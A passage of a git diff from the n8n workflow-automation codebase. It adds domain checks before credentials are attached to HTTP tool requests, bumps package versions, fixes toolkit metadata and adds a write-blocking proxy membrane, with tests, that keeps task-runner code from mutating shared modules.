credentials: ICredentialDataDecryptedObject | undefined,
|
||||||
|
options: IHttpRequestOptions,
|
||||||
|
) => {
|
||||||
|
if (!credentials) return;
|
||||||
|
const allowedDomains = assertCredentialAllowsUrl({
|
||||||
|
node: ctx.getNode(),
|
||||||
|
credentialData: credentials,
|
||||||
|
url: options.url,
|
||||||
|
});
|
||||||
|
if (allowedDomains) options.allowedDomains = allowedDomains;
|
||||||
|
};
|
||||||
|
|
||||||
const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
||||||
const genericType = ctx.getNodeParameter('genericAuthType', itemIndex) as string;
|
const genericType = ctx.getNodeParameter('genericAuthType', itemIndex) as string;
|
||||||
|
|
||||||
|
|
@ -35,6 +59,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
const sendImmediately = genericType === 'httpDigestAuth' ? false : undefined;
|
const sendImmediately = genericType === 'httpDigestAuth' ? false : undefined;
|
||||||
|
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, basicAuth, options);
|
||||||
options.auth = {
|
options.auth = {
|
||||||
username: basicAuth.user as string,
|
username: basicAuth.user as string,
|
||||||
password: basicAuth.password as string,
|
password: basicAuth.password as string,
|
||||||
|
|
@ -48,6 +73,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
const headerAuth = await ctx.getCredentials('httpHeaderAuth', itemIndex);
|
const headerAuth = await ctx.getCredentials('httpHeaderAuth', itemIndex);
|
||||||
|
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, headerAuth, options);
|
||||||
if (!options.headers) options.headers = {};
|
if (!options.headers) options.headers = {};
|
||||||
options.headers[headerAuth.name as string] = headerAuth.value;
|
options.headers[headerAuth.name as string] = headerAuth.value;
|
||||||
return await ctx.helpers.httpRequest(options);
|
return await ctx.helpers.httpRequest(options);
|
||||||
|
|
@ -58,6 +84,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
const queryAuth = await ctx.getCredentials('httpQueryAuth', itemIndex);
|
const queryAuth = await ctx.getCredentials('httpQueryAuth', itemIndex);
|
||||||
|
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, queryAuth, options);
|
||||||
if (!options.qs) options.qs = {};
|
if (!options.qs) options.qs = {};
|
||||||
options.qs[queryAuth.name as string] = queryAuth.value;
|
options.qs[queryAuth.name as string] = queryAuth.value;
|
||||||
return await ctx.helpers.httpRequest(options);
|
return await ctx.helpers.httpRequest(options);
|
||||||
|
|
@ -68,6 +95,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
const customAuth = await ctx.getCredentials('httpCustomAuth', itemIndex);
|
const customAuth = await ctx.getCredentials('httpCustomAuth', itemIndex);
|
||||||
|
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, customAuth, options);
|
||||||
const auth = jsonParse<IRequestOptionsSimplified>((customAuth.json as string) || '{}', {
|
const auth = jsonParse<IRequestOptionsSimplified>((customAuth.json as string) || '{}', {
|
||||||
errorMessage: 'Invalid Custom Auth JSON',
|
errorMessage: 'Invalid Custom Auth JSON',
|
||||||
});
|
});
|
||||||
|
|
@ -85,13 +113,17 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
}
|
}
|
||||||
|
|
||||||
if (genericType === 'oAuth1Api') {
|
if (genericType === 'oAuth1Api') {
|
||||||
|
const oAuth1 = await ctx.getCredentials('oAuth1Api', itemIndex);
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, oAuth1, options);
|
||||||
return await ctx.helpers.requestOAuth1.call(ctx, 'oAuth1Api', options);
|
return await ctx.helpers.requestOAuth1.call(ctx, 'oAuth1Api', options);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
if (genericType === 'oAuth2Api') {
|
if (genericType === 'oAuth2Api') {
|
||||||
|
const oAuth2 = await ctx.getCredentials('oAuth2Api', itemIndex);
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, oAuth2, options);
|
||||||
return await ctx.helpers.requestOAuth2.call(ctx, 'oAuth2Api', options, {
|
return await ctx.helpers.requestOAuth2.call(ctx, 'oAuth2Api', options, {
|
||||||
tokenType: 'Bearer',
|
tokenType: 'Bearer',
|
||||||
});
|
});
|
||||||
|
|
@ -106,8 +138,10 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
||||||
const predefinedCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
const predefinedCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
||||||
const predefinedType = ctx.getNodeParameter('nodeCredentialType', itemIndex) as string;
|
const predefinedType = ctx.getNodeParameter('nodeCredentialType', itemIndex) as string;
|
||||||
const additionalOptions = getOAuth2AdditionalParameters(predefinedType);
|
const additionalOptions = getOAuth2AdditionalParameters(predefinedType);
|
||||||
|
const credentials = await ctx.getCredentials(predefinedType, itemIndex);
|
||||||
|
|
||||||
return async (options: IHttpRequestOptions) => {
|
return async (options: IHttpRequestOptions) => {
|
||||||
|
assertCredentialUrlAllowed(ctx, credentials, options);
|
||||||
return await ctx.helpers.httpRequestWithAuthentication.call(
|
return await ctx.helpers.httpRequestWithAuthentication.call(
|
||||||
ctx,
|
ctx,
|
||||||
predefinedType,
|
predefinedType,
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/n8n-nodes-langchain",
|
"name": "@n8n/n8n-nodes-langchain",
|
||||||
"version": "2.31.0",
|
"version": "2.31.3",
|
||||||
"description": "",
|
"description": "",
|
||||||
"main": "index.js",
|
"main": "index.js",
|
||||||
"exports": {
|
"exports": {
|
||||||
|
|
@ -315,7 +315,7 @@
|
||||||
"n8n-core": "workspace:*",
|
"n8n-core": "workspace:*",
|
||||||
"n8n-nodes-base": "workspace:*",
|
"n8n-nodes-base": "workspace:*",
|
||||||
"n8n-workflow": "workspace:*",
|
"n8n-workflow": "workspace:*",
|
||||||
"openai": "^6.34.0",
|
"openai": "catalog:",
|
||||||
"oracledb": "catalog:",
|
"oracledb": "catalog:",
|
||||||
"pg": "catalog:",
|
"pg": "catalog:",
|
||||||
"redis": "4.6.14",
|
"redis": "4.6.14",
|
||||||
|
|
|
||||||
|
|
@ -219,18 +219,15 @@ export const getConnectedTools = async (
|
||||||
const tools = toolOrToolkit.tools;
|
const tools = toolOrToolkit.tools;
|
||||||
// Add metadata to each tool from the toolkit
|
// Add metadata to each tool from the toolkit
|
||||||
return tools.map((tool) => {
|
return tools.map((tool) => {
|
||||||
const sourceNode = parentNodes[index] ?? tool.name;
|
|
||||||
|
|
||||||
tool.metadata ??= {};
|
tool.metadata ??= {};
|
||||||
tool.metadata.isFromToolkit = true;
|
tool.metadata.isFromToolkit = true;
|
||||||
tool.metadata.sourceNodeName = sourceNode?.name;
|
tool.metadata.sourceNodeName = parentNodes[index]?.name ?? tool.name;
|
||||||
return tool;
|
return tool;
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
const sourceNode = parentNodes[index] ?? toolOrToolkit.name;
|
|
||||||
toolOrToolkit.metadata ??= {};
|
toolOrToolkit.metadata ??= {};
|
||||||
toolOrToolkit.metadata.isFromToolkit = false;
|
toolOrToolkit.metadata.isFromToolkit = false;
|
||||||
toolOrToolkit.metadata.sourceNodeName = sourceNode?.name;
|
toolOrToolkit.metadata.sourceNodeName = parentNodes[index]?.name ?? toolOrToolkit.name;
|
||||||
}
|
}
|
||||||
|
|
||||||
return toolOrToolkit;
|
return toolOrToolkit;
|
||||||
|
|
|
||||||
|
|
@ -269,17 +269,17 @@ describe('getConnectedTools', () => {
|
||||||
{
|
{
|
||||||
name: 'tool1',
|
name: 'tool1',
|
||||||
description: 'desc1',
|
description: 'desc1',
|
||||||
metadata: { isFromToolkit: false, sourceNodeName: undefined },
|
metadata: { isFromToolkit: false, sourceNodeName: 'tool1' },
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: 'toolkitTool1',
|
name: 'toolkitTool1',
|
||||||
description: 'toolkitToolDesc1',
|
description: 'toolkitToolDesc1',
|
||||||
metadata: { isFromToolkit: true, sourceNodeName: undefined },
|
metadata: { isFromToolkit: true, sourceNodeName: 'toolkitTool1' },
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: 'toolkitTool2',
|
name: 'toolkitTool2',
|
||||||
description: 'toolkitToolDesc2',
|
description: 'toolkitToolDesc2',
|
||||||
metadata: { isFromToolkit: true, sourceNodeName: undefined },
|
metadata: { isFromToolkit: true, sourceNodeName: 'toolkitTool2' },
|
||||||
},
|
},
|
||||||
]);
|
]);
|
||||||
});
|
});
|
||||||
|
|
@ -342,6 +342,84 @@ describe('getConnectedTools', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('toolkit detection across duplicated n8n-core copies', () => {
|
||||||
|
class ForeignStructuredToolkit {
|
||||||
|
constructor(readonly tools: Tool[]) {}
|
||||||
|
|
||||||
|
getTools(): Tool[] {
|
||||||
|
return this.tools;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
it('should flatten a toolkit whose class identity differs from the local StructuredToolkit', async () => {
|
||||||
|
const gatedTool = { name: 'gmail_send', description: 'Send an email' } as Tool;
|
||||||
|
|
||||||
|
mockExecuteFunctions.getInputConnectionData = vi
|
||||||
|
.fn()
|
||||||
|
.mockResolvedValue([new ForeignStructuredToolkit([gatedTool])]);
|
||||||
|
mockExecuteFunctions.getParentNodes = vi.fn().mockReturnValue([{ name: 'Gmail HITL' }]);
|
||||||
|
|
||||||
|
const tools = await getConnectedTools(mockExecuteFunctions, false);
|
||||||
|
|
||||||
|
expect(tools).toHaveLength(1);
|
||||||
|
expect(tools[0].name).toBe('gmail_send');
|
||||||
|
expect(tools[0].metadata).toEqual({
|
||||||
|
isFromToolkit: true,
|
||||||
|
sourceNodeName: 'Gmail HITL',
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should keep plain tools untouched when connected alongside a foreign-identity toolkit', async () => {
|
||||||
|
const directTool = { name: 'direct_tool', description: 'Direct tool' } as Tool;
|
||||||
|
const gatedTool1 = { name: 'gated_tool_1', description: 'Gated tool 1' } as Tool;
|
||||||
|
const gatedTool2 = { name: 'gated_tool_2', description: 'Gated tool 2' } as Tool;
|
||||||
|
|
||||||
|
mockExecuteFunctions.getInputConnectionData = vi
|
||||||
|
.fn()
|
||||||
|
.mockResolvedValue([directTool, new ForeignStructuredToolkit([gatedTool1, gatedTool2])]);
|
||||||
|
mockExecuteFunctions.getParentNodes = vi
|
||||||
|
.fn()
|
||||||
|
.mockReturnValue([{ name: 'Direct Tool' }, { name: 'Gmail HITL' }]);
|
||||||
|
|
||||||
|
const tools = await getConnectedTools(mockExecuteFunctions, false);
|
||||||
|
|
||||||
|
expect(tools.map((tool) => tool.name)).toEqual([
|
||||||
|
'direct_tool',
|
||||||
|
'gated_tool_1',
|
||||||
|
'gated_tool_2',
|
||||||
|
]);
|
||||||
|
expect(tools[0].metadata).toEqual({
|
||||||
|
isFromToolkit: false,
|
||||||
|
sourceNodeName: 'Direct Tool',
|
||||||
|
});
|
||||||
|
expect(tools[1].metadata).toEqual({
|
||||||
|
isFromToolkit: true,
|
||||||
|
sourceNodeName: 'Gmail HITL',
|
||||||
|
});
|
||||||
|
expect(tools[2].metadata).toEqual({
|
||||||
|
isFromToolkit: true,
|
||||||
|
sourceNodeName: 'Gmail HITL',
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should fall back to the tool name when no parent node is found for a toolkit', async () => {
|
||||||
|
const gatedTool = { name: 'gmail_send', description: 'Send an email' } as Tool;
|
||||||
|
|
||||||
|
mockExecuteFunctions.getInputConnectionData = vi
|
||||||
|
.fn()
|
||||||
|
.mockResolvedValue([new ForeignStructuredToolkit([gatedTool])]);
|
||||||
|
mockExecuteFunctions.getParentNodes = vi.fn().mockReturnValue([]);
|
||||||
|
|
||||||
|
const tools = await getConnectedTools(mockExecuteFunctions, false);
|
||||||
|
|
||||||
|
expect(tools).toHaveLength(1);
|
||||||
|
expect(tools[0].metadata).toEqual({
|
||||||
|
isFromToolkit: true,
|
||||||
|
sourceNodeName: 'gmail_send',
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
it('should map source node names correctly when a disabled tool node is still connected', async () => {
|
it('should map source node names correctly when a disabled tool node is still connected', async () => {
|
||||||
// getParentNodes returns ALL parents including disabled ones,
|
// getParentNodes returns ALL parents including disabled ones,
|
||||||
// while getInputConnectionData filters disabled nodes out.
|
// while getInputConnectionData filters disabled nodes out.
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/scan-community-package",
|
"name": "@n8n/scan-community-package",
|
||||||
"version": "0.27.0",
|
"version": "0.27.1",
|
||||||
"description": "Static code analyser for n8n community packages",
|
"description": "Static code analyser for n8n community packages",
|
||||||
"license": "LicenseRef-n8n-sustainable-use",
|
"license": "LicenseRef-n8n-sustainable-use",
|
||||||
"bin": "scanner/cli.mjs",
|
"bin": "scanner/cli.mjs",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/scheduler",
|
"name": "@n8n/scheduler",
|
||||||
"version": "0.3.0",
|
"version": "0.3.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/task-runner",
|
"name": "@n8n/task-runner",
|
||||||
"version": "2.31.0",
|
"version": "2.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"start": "node dist/start.js",
|
"start": "node dist/start.js",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,12 @@
|
||||||
|
import type * as nodeCrypto from 'node:crypto';
|
||||||
|
|
||||||
import { ExecutionError } from '@/js-task-runner/errors/execution-error';
|
import { ExecutionError } from '@/js-task-runner/errors/execution-error';
|
||||||
|
|
||||||
import { createRequireResolver, type RequireResolverOpts } from '../require-resolver';
|
import {
|
||||||
|
createRequireResolver,
|
||||||
|
secureModuleExport,
|
||||||
|
type RequireResolverOpts,
|
||||||
|
} from '../require-resolver';
|
||||||
|
|
||||||
describe('require resolver', () => {
|
describe('require resolver', () => {
|
||||||
let defaultOpts: RequireResolverOpts;
|
let defaultOpts: RequireResolverOpts;
|
||||||
|
|
@ -59,6 +65,194 @@ describe('require resolver', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('module securing', () => {
|
||||||
|
it('should not let one resolution mutate the shared module for another', () => {
|
||||||
|
const resolver = createRequireResolver({ ...defaultOpts, secureModules: true });
|
||||||
|
|
||||||
|
const first = resolver('path') as { normalize: unknown };
|
||||||
|
const original = first.normalize;
|
||||||
|
// Own-property reassignment on the shared cached module must not stick.
|
||||||
|
expect(() => {
|
||||||
|
'use strict';
|
||||||
|
first.normalize = () => 'poisoned';
|
||||||
|
}).toThrow();
|
||||||
|
|
||||||
|
const second = resolver('path') as { normalize: unknown };
|
||||||
|
expect(second.normalize).toBe(original);
|
||||||
|
expect((second.normalize as (p: string) => string)('a//b')).toBe('a/b');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return the same view for repeated resolutions (stable identity)', () => {
|
||||||
|
const resolver = createRequireResolver({ ...defaultOpts, secureModules: true });
|
||||||
|
|
||||||
|
expect(resolver('path')).toBe(resolver('path'));
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not secure modules by default', () => {
|
||||||
|
const resolver = createRequireResolver(defaultOpts);
|
||||||
|
const fs = resolver('fs') as Record<string, unknown>;
|
||||||
|
|
||||||
|
const marker = () => 'noop';
|
||||||
|
fs.__probe = marker;
|
||||||
|
expect(fs.__probe).toBe(marker);
|
||||||
|
delete fs.__probe;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('secureModuleExport', () => {
|
||||||
|
it('should not throw when securing a non-freezable Buffer/TypedArray export', () => {
|
||||||
|
// Object.freeze throws on these ("Cannot freeze array buffer views with elements").
|
||||||
|
const buf = Buffer.from([1, 2, 3]);
|
||||||
|
const view = secureModuleExport(buf) as Buffer;
|
||||||
|
|
||||||
|
expect(view[0]).toBe(1); // reads pass through
|
||||||
|
expect(() => {
|
||||||
|
'use strict';
|
||||||
|
view[0] = 9;
|
||||||
|
}).toThrow(); // writes are blocked
|
||||||
|
expect(buf[0]).toBe(1); // underlying buffer untouched
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should block assignment through accessor setters', () => {
|
||||||
|
let sideEffect = 0;
|
||||||
|
const mod = {};
|
||||||
|
Object.defineProperty(mod, 'danger', {
|
||||||
|
get: () => sideEffect,
|
||||||
|
set: (v: number) => {
|
||||||
|
sideEffect = v;
|
||||||
|
},
|
||||||
|
configurable: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
const secured = secureModuleExport(mod) as { danger: number };
|
||||||
|
// Strict-mode module code: the blocked write throws instead of the setter running.
|
||||||
|
expect(() => {
|
||||||
|
secured.danger = 99;
|
||||||
|
}).toThrow();
|
||||||
|
|
||||||
|
expect(sideEffect).toBe(0); // the real setter never ran
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should block adding, redefining, deleting properties and swapping the prototype', () => {
|
||||||
|
const mod: Record<string, unknown> = { existing: 1 };
|
||||||
|
const secured = secureModuleExport(mod) as Record<string, unknown>;
|
||||||
|
|
||||||
|
expect(() => Object.defineProperty(secured, 'added', { value: 1 })).toThrow();
|
||||||
|
expect(Reflect.deleteProperty(secured, 'existing')).toBe(false);
|
||||||
|
expect(Reflect.setPrototypeOf(secured, {})).toBe(false);
|
||||||
|
expect(mod.existing).toBe(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should keep a real module callable and usable through the view', () => {
|
||||||
|
const resolver = createRequireResolver({
|
||||||
|
allowedBuiltInModules: new Set(['crypto']),
|
||||||
|
allowedExternalModules: new Set(),
|
||||||
|
secureModules: true,
|
||||||
|
});
|
||||||
|
const crypto = resolver('crypto') as typeof nodeCrypto;
|
||||||
|
|
||||||
|
expect(crypto.randomBytes(8)).toHaveLength(8);
|
||||||
|
expect(crypto.createHash('sha256').update('x').digest('hex')).toHaveLength(64);
|
||||||
|
|
||||||
|
// poisoning attempts must not stick
|
||||||
|
expect(() => {
|
||||||
|
(crypto as { randomBytes: unknown }).randomBytes = () => Buffer.from('PWNED');
|
||||||
|
}).toThrow();
|
||||||
|
expect(crypto.randomBytes(8)).toHaveLength(8);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('secureModuleExport (nested membrane)', () => {
|
||||||
|
it('should wrap nested objects and block writes to them', () => {
|
||||||
|
const shared = { count: 0 };
|
||||||
|
const secured = secureModuleExport({ nested: shared }) as { nested: { count: number } };
|
||||||
|
|
||||||
|
expect(() => {
|
||||||
|
secured.nested.count = 5;
|
||||||
|
}).toThrow();
|
||||||
|
expect(shared.count).toBe(0); // shared nested state untouched
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return a stable wrapped view for the same nested object', () => {
|
||||||
|
const secured = secureModuleExport({ nested: {} }) as { nested: object };
|
||||||
|
|
||||||
|
expect(secured.nested).toBe(secured.nested);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should freeze (not wrap) non-configurable non-writable data properties', () => {
|
||||||
|
const mod = {};
|
||||||
|
Object.defineProperty(mod, 'FIXED', {
|
||||||
|
value: { a: 1 },
|
||||||
|
writable: false,
|
||||||
|
configurable: false,
|
||||||
|
});
|
||||||
|
const secured = secureModuleExport(mod) as { FIXED: { a: number } };
|
||||||
|
|
||||||
|
// Proxy invariant forbids wrapping, so it's returned raw — but frozen,
|
||||||
|
// so it still can't be mutated for other tasks.
|
||||||
|
expect(secured.FIXED.a).toBe(1);
|
||||||
|
expect(Object.isFrozen(secured.FIXED)).toBe(true);
|
||||||
|
expect(() => {
|
||||||
|
(secured.FIXED as Record<string, unknown>).evil = 1;
|
||||||
|
}).toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should wrap values reached through descriptor reflection', () => {
|
||||||
|
const shared = { count: 0 };
|
||||||
|
const secured = secureModuleExport({ nested: shared });
|
||||||
|
|
||||||
|
const descriptor = Object.getOwnPropertyDescriptor(secured, 'nested');
|
||||||
|
const reflected = descriptor?.value as { count: number };
|
||||||
|
expect(() => {
|
||||||
|
reflected.count = 5;
|
||||||
|
}).toThrow();
|
||||||
|
expect(shared.count).toBe(0); // reflection can't bypass the membrane
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should construct classes exposed by a module', () => {
|
||||||
|
const secured = secureModuleExport({
|
||||||
|
widget: class {
|
||||||
|
constructor(public v: number) {}
|
||||||
|
},
|
||||||
|
}) as { widget: new (v: number) => { v: number } };
|
||||||
|
|
||||||
|
expect(new secured.widget(7).v).toBe(7);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should preserve new.target when subclassing a module constructor', () => {
|
||||||
|
const secured = secureModuleExport({
|
||||||
|
base: class {
|
||||||
|
kind: string;
|
||||||
|
constructor() {
|
||||||
|
this.kind = new.target.name;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}) as { base: new () => { kind: string } };
|
||||||
|
class Derived extends secured.base {}
|
||||||
|
|
||||||
|
expect(new Derived().kind).toBe('Derived');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should keep nested real-module state readable but not mutable', () => {
|
||||||
|
const resolver = createRequireResolver({
|
||||||
|
allowedBuiltInModules: new Set(['crypto']),
|
||||||
|
allowedExternalModules: new Set(),
|
||||||
|
secureModules: true,
|
||||||
|
});
|
||||||
|
const crypto = resolver('crypto') as typeof nodeCrypto;
|
||||||
|
|
||||||
|
// nested reads and receiver-sensitive method calls still work
|
||||||
|
expect(typeof crypto.constants.RSA_PKCS1_PADDING).toBe('number');
|
||||||
|
expect(crypto.webcrypto.getRandomValues(new Uint8Array(4))).toHaveLength(4);
|
||||||
|
|
||||||
|
// nested writes are blocked
|
||||||
|
expect(() => {
|
||||||
|
(crypto.webcrypto as { getRandomValues: unknown }).getRandomValues = () => null;
|
||||||
|
}).toThrow();
|
||||||
|
expect(crypto.webcrypto.getRandomValues(new Uint8Array(2))).toHaveLength(2);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('error handling', () => {
|
describe('error handling', () => {
|
||||||
it('should wrap DisallowedModuleError in ExecutionError', () => {
|
it('should wrap DisallowedModuleError in ExecutionError', () => {
|
||||||
const resolver = createRequireResolver(defaultOpts);
|
const resolver = createRequireResolver(defaultOpts);
|
||||||
|
|
|
||||||
|
|
@ -157,6 +157,7 @@ export class JsTaskRunner extends TaskRunner {
|
||||||
this.requireResolver = createRequireResolver({
|
this.requireResolver = createRequireResolver({
|
||||||
allowedBuiltInModules,
|
allowedBuiltInModules,
|
||||||
allowedExternalModules,
|
allowedExternalModules,
|
||||||
|
secureModules: this.mode === 'secure',
|
||||||
});
|
});
|
||||||
|
|
||||||
if (this.mode === 'secure') this.preventPrototypePollution(allowedExternalModules);
|
if (this.mode === 'secure') this.preventPrototypePollution(allowedExternalModules);
|
||||||
|
|
|
||||||
|
|
@ -15,13 +15,105 @@ export type RequireResolverOpts = {
|
||||||
* execution sandbox. `"*"` means all are allowed.
|
* execution sandbox. `"*"` means all are allowed.
|
||||||
*/
|
*/
|
||||||
allowedExternalModules: Set<string> | '*';
|
allowedExternalModules: Set<string> | '*';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* When true, return a write-blocking view of each resolved module. The
|
||||||
|
* module cache is shared across every task in the runner process, so an
|
||||||
|
* unprotected module object lets one task's changes leak into other tasks.
|
||||||
|
*/
|
||||||
|
secureModules?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type RequireResolver = (request: string) => unknown;
|
export type RequireResolver = (request: string) => unknown;
|
||||||
|
|
||||||
|
type Constructor = new (...args: unknown[]) => object;
|
||||||
|
|
||||||
|
const isWrappable = (value: unknown): value is object =>
|
||||||
|
value !== null && (typeof value === 'object' || typeof value === 'function');
|
||||||
|
|
||||||
|
// Views (write-blocking proxies) keyed by their real target, plus the reverse
|
||||||
|
// lookup used to unwrap `this`/arguments back to the real object before a
|
||||||
|
// wrapped function runs. One view per target keeps identity stable across reads.
|
||||||
|
const viewByTarget = new WeakMap<object, unknown>();
|
||||||
|
const targetByView = new WeakMap<object, object>();
|
||||||
|
|
||||||
|
const unwrap = (value: unknown): unknown =>
|
||||||
|
isWrappable(value) ? (targetByView.get(value) ?? value) : value;
|
||||||
|
|
||||||
|
// A non-configurable, non-writable data property: a Proxy must hand back its
|
||||||
|
// exact value (invariant), so it can't be wrapped.
|
||||||
|
const isFixedData = (descriptor: PropertyDescriptor | undefined): boolean =>
|
||||||
|
!!descriptor && 'value' in descriptor && !descriptor.configurable && !descriptor.writable;
|
||||||
|
|
||||||
|
// Secure a value read off the module. Normally wrap it in the membrane; when an
|
||||||
|
// invariant forces us to return the exact object, freeze it best-effort instead
|
||||||
|
// so it still can't be mutated for other tasks.
|
||||||
|
function secureReadValue(value: unknown, mustReturnRaw: boolean): unknown {
|
||||||
|
if (!mustReturnRaw) return secureModuleExport(value);
|
||||||
|
if (isWrappable(value) && !Object.isFrozen(value)) {
|
||||||
|
try {
|
||||||
|
Object.freeze(value);
|
||||||
|
} catch {
|
||||||
|
// Non-freezable (e.g. a populated TypedArray) — nothing more we can do.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Blocks every write (assignment incl. accessor setters, (re)definition,
|
||||||
|
// deletion, prototype change) and wraps values read from the module — via both
|
||||||
|
// property reads and descriptor reflection — so nested objects can't be mutated
|
||||||
|
// either. Function calls forward to the real module with `this`/arguments
|
||||||
|
// unwrapped, so internal-slot/brand checks still pass.
|
||||||
|
const membraneHandler: ProxyHandler<object> = {
|
||||||
|
set: () => false,
|
||||||
|
defineProperty: () => false,
|
||||||
|
deleteProperty: () => false,
|
||||||
|
setPrototypeOf: () => false,
|
||||||
|
get(target, prop) {
|
||||||
|
const value = Reflect.get(target, prop, target) as unknown;
|
||||||
|
const descriptor = Reflect.getOwnPropertyDescriptor(target, prop);
|
||||||
|
return secureReadValue(value, isFixedData(descriptor));
|
||||||
|
},
|
||||||
|
getOwnPropertyDescriptor(target, prop) {
|
||||||
|
const descriptor = Reflect.getOwnPropertyDescriptor(target, prop);
|
||||||
|
if (descriptor && 'value' in descriptor) {
|
||||||
|
descriptor.value = secureReadValue(descriptor.value, isFixedData(descriptor));
|
||||||
|
}
|
||||||
|
return descriptor;
|
||||||
|
},
|
||||||
|
apply: (target, thisArg, args) =>
|
||||||
|
Reflect.apply(target as (...a: unknown[]) => unknown, unwrap(thisArg), args.map(unwrap)),
|
||||||
|
// Return values are left unwrapped so callers keep ownership of what a
|
||||||
|
// module hands back (e.g. a Buffer they can still mutate).
|
||||||
|
construct: (target, args, newTarget) =>
|
||||||
|
Reflect.construct(target as Constructor, args.map(unwrap), unwrap(newTarget) as Constructor),
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Wrap a resolved module in a write-blocking membrane. Proxying rather than
|
||||||
|
* `Object.freeze` avoids two problems: freezing throws on non-freezable
|
||||||
|
* exports (e.g. a non-empty `Buffer`/`TypedArray`), and it leaves accessor
|
||||||
|
* setters (e.g. `crypto.fips`) able to mutate shared process state. The
|
||||||
|
* membrane also wraps nested objects on read, so one task cannot mutate a
|
||||||
|
* module's nested state (e.g. `http.globalAgent`) for the others.
|
||||||
|
*/
|
||||||
|
export function secureModuleExport(resolved: unknown): unknown {
|
||||||
|
if (!isWrappable(resolved)) return resolved;
|
||||||
|
|
||||||
|
const cached = viewByTarget.get(resolved);
|
||||||
|
if (cached !== undefined) return cached;
|
||||||
|
|
||||||
|
const view = new Proxy(resolved, membraneHandler);
|
||||||
|
viewByTarget.set(resolved, view);
|
||||||
|
targetByView.set(view, resolved);
|
||||||
|
return view;
|
||||||
|
}
|
||||||
|
|
||||||
export function createRequireResolver({
|
export function createRequireResolver({
|
||||||
allowedBuiltInModules,
|
allowedBuiltInModules,
|
||||||
allowedExternalModules,
|
allowedExternalModules,
|
||||||
|
secureModules = false,
|
||||||
}: RequireResolverOpts) {
|
}: RequireResolverOpts) {
|
||||||
return (request: string) => {
|
return (request: string) => {
|
||||||
const checkIsAllowed = (allowList: Set<string> | '*', moduleName: string) => {
|
const checkIsAllowed = (allowList: Set<string> | '*', moduleName: string) => {
|
||||||
|
|
@ -37,6 +129,9 @@ export function createRequireResolver({
|
||||||
throw new ExecutionError(error);
|
throw new ExecutionError(error);
|
||||||
}
|
}
|
